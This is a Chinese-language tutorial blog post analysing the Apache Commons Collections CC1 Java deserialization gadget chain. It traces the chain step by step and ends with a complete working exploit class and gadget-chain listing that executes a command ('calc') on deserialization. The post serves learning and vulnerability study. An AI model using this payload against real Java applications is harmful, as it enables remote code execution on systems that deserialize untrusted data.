1、前言
学习java反序列化漏洞,首先要搞清楚下面三个定义:
- (source)入口类
- (Gadget chain)调用链
- (sink)执行类
入口类:顾名思义,是整条的入口点( 具备以下特点:
1、调用常见函数:入口类调用的方法应是常见且易被利用的函数。如:JDK原生类方法,系统中的常见库方法如 Apache Commons Collections 的Transformer。
2、参数类型广泛:入口类的方法或构造函数的参数类型越通用(如 Object 或集合类),攻击者的利用空间越大。
3、最好使用JDK自带的类:JDK自带类几乎在所有Java环境中都存在,利用成功率高。
)
调用链:是指前一个类调用的方法在后一个类中存在,且方法名相同,参数类型相同,整个调用链的类都要实现Serializable
执行类:最终调用的类或方法,执行特定任务,SSRF,RCE,写文件等
那么现在我们寻找RCE的链子方法: 首先去寻找一个符合条件的一个执行类,通过IDEA看哪个类的某个方法(A.a()方法)调用了执行类的危险方法,哪个类的某个方法(B.b()) 又调用了 A.a()方法.......,最终寻找到readObject等类中。
2、具体分析
CC1要从Transformer接口说起,Transformer接口有21个实现类。经过寻找,我们发现了InvokerTransformer这个执行类,这个类的transform方法执行了危险方法method.invoke(input, iArgs)。功能就是反射调用方法
我们可以测试一下这个危险方法。实例化该类,并且调用其transform方法,传入Runtime.getRuntime()类,可以发现成功调用了计算器。
现在需要往上寻找,看看是哪个类的方法调用了这个transform方法,要求能够序列化,且参数类型广泛,经过寻找,找到org.apache.commons.collections.map包下,首先看到TransformedMap类,这里调用transform()次数最多,机会也最多。
看向这个类的构造方法,为protected。无法直接实例化,但可通过其静态方法直接获取对象。

上面说到TransformedMap类三处调用transform方法。注意到其中有一个为transformValue()方法。往上跟,发现此类的put方法又会调用transformValue()方法。那我们可以尝试获取该类对象,测试该危险方法,成功执行命令。(注:CC1走的是checkSetValue()方法,直至跟进到readObject方法内。此处举例只是更清晰的理解漏洞,理解过程,并无法跟进到readObject方法中,只在本类中调用。)。
既然能够执行命令了,那为什么还要继续往上跟呢?
答:我们的目的是反序列化时执行命令,要往上跟到readObject类中。
回归正题,看向CC1链用到的checkSetValue()方法。在 AbstractInputCheckedMapDecorator 类的静态内部类 MapEntry 中,setValue() 方法被调用了。MapEntry类继承AbstractMapEntryDecorator类,而AbstractMapEntryDecorator类实现了Map.Entry。其中Entry代表的是Map中的一个键值对。MapEntry 是Map.Entry的装饰器,它重写了setValue()方法。我们可以遍历TransformedMap装饰的map对象,调用setValue方法。成功弹出计算器。
但这依旧不是我们想要的结果,我们需要继续跟进到readObject方法中,在AnnotationInvocationHandler类的readObject方法中调用了setValue()方法,并且刚好实现了之前的Map遍历功能。该类构造器并不是public,无法直接实例化,需要采用反射技术。但我们使用反射获取该类后,依旧无法触发漏洞。这里有几个原因,在后面详细展开。


上面的问题先放一边,现在我们先将调用exec方法,执行calc命令,全部由反射转换成InvokerTransformer方式,看到可以成功执行命令。
这样一个个嵌套创建参数比较麻烦,在Commons Collections库中存在的ChainedTransformer类。ChainedTransformer 类通过依次应用多个变换器,将每个变换器的输出作为下一个变换器的输入,最终返回最后一个变换器的结果。这个类的构造方法接受一个Transformer[]数组。那我们可以将InvokerTransformer全放进Transformer[]数组里,然后将这个数组放进ChainedTransformer中,并调用其transform方法。我们看到可以执行命令。
我们的要求是反序列化时执行,那就要回到AnnotationInvocationHandler类。执行下面的代码,无法成功。
那为什么无法触发漏洞?
问题1:在AnnotationInvocationHandler类下的readObject方法中,存在if (memberType != null) 这个判断条件,memberType指获取注解中成员变量的名称,当membertype不为空,才可以调用setValue。所以我们newInstance的时候需要传入一个有成员变量的注解,如:Target.class。并且还需要将map里的key与注解的成员变量名称保持一致。这里key为value。
但依旧无法触发漏洞。
问题2:之前是调用ChainedTransformer的transform方法,并传入Runtime.class执行命令。但这无法在反序列化时执行。我们可以利用ConstantTransformer类。在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回。那么在这里我们实例化该类,并传入Runtime.class。这样即可成功执行命令
3、总结
完整的exp如下:
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aa1a");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> dec = c.getDeclaredConstructor(Class.class, Map.class);
dec.setAccessible(true);
Object o = dec.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("test.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("test.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}}
整理一下利用链:
CC1 Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
MapEntry.checkSetValue()
TransformedMap.transform()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
4、参考:
https://github.com/phith0n/JavaThings?tab=readme-ov-file(P牛)
https://www.bilibili.com/video/BV16h411z7o9/(b站白日梦组长)
评论(0)